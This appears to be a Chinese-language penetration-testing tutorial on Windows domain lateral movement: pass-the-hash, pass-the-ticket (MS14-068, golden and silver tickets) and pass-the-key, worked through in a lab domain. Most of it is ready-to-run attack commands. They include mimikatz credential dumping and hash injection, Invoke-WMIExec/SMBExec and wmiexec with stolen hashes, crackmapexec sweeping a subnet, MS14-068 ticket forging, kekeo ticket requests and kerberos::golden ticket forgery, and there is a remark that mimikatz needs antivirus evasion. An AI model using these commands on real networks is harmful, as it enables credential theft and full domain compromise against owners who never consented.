PTH(pass-the-hash)
pass-the-hash内网渗透是一种非常经典的攻击方式,其原理是攻击者可以直接通过LM Hash和NTLM Hash在不提供明文密码的情况下,访问远程主机或服务。
pass the hash原理:
- 在Windows通常用于系统
- NTLM认证不使用明文密码,而是使用密码加密hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,则无法生成LM hash。
- 若攻击者得到了hash,可以在身份验证时模拟用户(即跳过调用)API生成hash的过程)
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但条件不允许正确hash爆破
- 与当前机器相同的密码存在于内网中
微软也对pth然而,在测试中发现,在补丁之后,常规Pass The Hash不能成功,只有默认Administrator(SID 500)账户例外,仍然可以使用此账户Pass The Hash远程ipc连接。
如果禁用了NTLM认证,PsExec得不到的ntlm hash远程连接,但使用mimikatz还能攻击成功。
从windows到windows横向pth这种攻击方法比较广泛
Mimikatz
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r可使用2/8/2012AES keys代替NT hash
使用mimikatz先获取hash:
privilege::debug sekurlsa::logonpasswords
得到hash后
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7
可以看到NTML hash已经对workgroup使用,如果您访问远程主机或服务,您不需要提供明文密码
pass the hash成功~
wmiexec
windows 管理规范[WMI]实际上是windows从03/xp从一开始就内置了一个系统插件,其设计初衷之一是,在这里我们不妨先简单想想,对吧windows远程管理意味着什么?是的,这意味着我们可以直接在当地操作一系列特权操作,如远程目标机器系列特权操作。严格地说,它实际上是为各种服务提供统一的呼叫接口而设计的,例如,如果您想操作任何服务,请调用相应的服务方法来执行您的操作。然而,对于内网的横向移动,我们暂时不需要理解它 非常细致,毕竟不是专门做有针对性的防御产品,也正是因为这个效果,
wmiexec是对windows自带的wmic做一些强化,让渗透更容易。只能说很多工具,这里介绍两种比较好用的工具:
第一种
GitHub - Kevin-Robertson/Invoke-TheHash: PowerShell Pass The Hash Utils
其他攻击可以看到readme,这里简单对pth实验:
Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
查看192.168.3.21机器,发现calc.exe进程已经启动
另外还有Invoke-SMB当脚本可以使用时,使用方法几乎相同:
Invoke-SMBExec
支持SMB1, SMB2 (2.1), and SMB signing
Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
通过在目标主机上创建服务执行命令,权限为system
Invoke-SMBClient
支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB没有远程执行权限的文件共享权可以使用脚本。
支持的功能包括列出目录、上传文件、下载文件和删除文件(具体权限取决于密码hash的权限)
第二种
wmiexec.py 脚本地址:impacket/wmiexec.py at master · SecureAuthCorp/impacket · GitHub
wmiexec.exe 通过python impacket库实现,生成exe有点大,5M实战有点不方便 :https://github.com/maaaaz/impacket-examples-windows
wmiexec.py注释中提示"Main advantage here is it runs under the user (has to be Admin) account",
参数实例:
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"
wmiexec.py的hash参数格式为LM Hash:NT Hash,由于该Hash来自于Server 系统默认不支持2008年LM hash,所以LM hash可设置为任意值
CrackMapExec
CrackMapExecC段主机可批量批量使用pth,项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
对192.168.3.0/24 C段进行批量pass the hash
PTT(pass the ticket)
ptt攻击部分不简单NTLM认证,是用的Kerberos本文介绍了三种常见的攻击方法:
MS16-068,Golden ticket,SILVER ticket。
之前介绍了Kerberos在域内简要介绍协议的具体工作方法:
- 客户机将使用明文密码NTLM然后用时间戳加密(使用)krbtgt密码hash发送给为密钥)kdc(域控),kdc检测用户,成功创建TGT(Ticket-Granting Ticket)
- 将TGT只有域用户将加密签名返回只有域用户krbtgt才能读取kerberos中TGT数据
- 然后客户机会TGT向域控制器发送KDC请求TGS票证(票证授权服务)和对TGT进行检测
- 检测成功后,目标服务账户将进行检测NTLM以及TGT加密,将加密结果返回客户机。
ms14-068
MS14-068密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。漏洞位于kdcsvc.dll域控制器密钥分发中心(KDC)中。用户可以过呈现具有改变的PAC的Kerberos TGT来获得票证.
ms14-068详细介绍:访问的文章审核中... - FreeBuf网络安全行业门户
简单来说就是:
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
- 在请求AS时,将require_PAC设置成False。
- 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
- TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
下面来介绍一下ms14-068的利用过程:
1.使用 whoami/user 得到普通域用户的sid
2.执行payload生成TGT票据:
利用工具:ms14-068
使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
运行实例:
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
3.票据注入:
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
显示Injecting ticket : OK就表示注入成功了~
4.查看注入是否成功并且登录域控:
查看klist:
发现已经将凭证注入进去了~下面可以使用net use进行登录,或者使用psexec,wmi等方法进行远程执行命令。注意,这里登录时,要使用机器名,不要使用IP,否则没办法攻击成功。
可以看到我们已经提升到域控权限。
考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket
Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo,下载地址:https://github.com/gentilkiwi/kekeo/releases
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
执行后生成票据 :
TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
接下来导入票据:
kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
成功获得了域控的访问权限:
Golden ticket(黄金票据)
Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。
伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
先登录域控制器,dump krbtgt用户的hash值,获取域sid:
privilege::debug
lsadump::lsa /patch
切换到普通域用户的机器,生成TGT凭证,用户名为administrator:
然后使用mimikatz将凭证注入进去,攻击成功:
mimikatz # kerberos::ptt test.kirbi
如果主机开启了RPC服务,还可以使用WmiExec.vbs直接连接:
Silver ticket(白银票据)
silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt.
1.首先登录域控,dump机器hash
privilege::debug
sekurlsa::logonpasswords
2.将hash保存下来,在普通域用户机器中进行ptt
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21 /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
这里的cifs是指的文件共享服务,有了cifs服务权限,就可以访问域控制器的文件系统:
PTK(pass the key)
还是使用的mimikatz工具,不过需免杀。
获取用户的aes key:
mimikatz "privilege::debug" "sekurlsa::ekeys"
注入aes key:
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
成功注入aes256,尝试远程连接:
如果拒绝访问的话尝试安装
参考链接:
独角兽暑期训练营系列 | Windows Hash传递攻击的本质、缓解及绕过 - 安全客,安全资讯平台
https://klionsec.github.io/2016/08/10/ntlm-kerberos/
跨平台横向移动 [ wmi利用 ]
3gstudent-Blog
https://adsecurity.org/?p=1515
https://github.com/gentilkiwi/kekeo/wiki/ms14068
http://wooyun.jozxing.cc/static/drops/tips-12159.html
访问的文章审核中... - FreeBuf网络安全行业门户
域后续之golden ticket_z2p的技术博客_51CTO博客